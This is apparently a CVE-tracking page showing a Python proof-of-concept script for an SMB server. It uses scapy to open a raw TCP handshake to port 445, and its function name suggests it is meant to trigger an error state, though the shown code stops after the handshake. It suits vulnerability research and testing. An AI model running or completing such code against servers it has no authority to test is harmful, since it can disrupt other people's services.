4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import sys
import os
from scapy.all import *

# --- Configuration ---
SERVER_IP = "192.168.121.2" # CHANGE TO YOUR SERVER IP
SERVER_PORT = 445
CLIENT_PORT = random.randint(1024, 65535)

def trigger_eagain():
    # --- TCP Handshake ---
    print(f"[*] Starting TCP 3-Way Handshake to {SERVER_IP}:{SERVER_PORT}")
    ip = IP(dst=SERVER_IP)
    syn = TCP(sport=CLIENT_PORT, dport=SERVER_PORT, flags='S', seq=1000)
    syn_ack = sr1(ip/syn, timeout=2, verbose=False)
    if not syn_ack:
        print("[!] Handshake failed.")
        return
    print("[+] Handshake complete.")
    next_seq = syn.seq + 1
    next_ack = syn_ack.seq + 1
    send(ip/TCP(sport=CLIENT_PORT, dport=SERVER_PORT, flags='A', seq=next_seq, ack=next_ack), verbose=False)
    
if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[!] This script must be run as root.")
        sys.exit(1)
    trigger_eagain()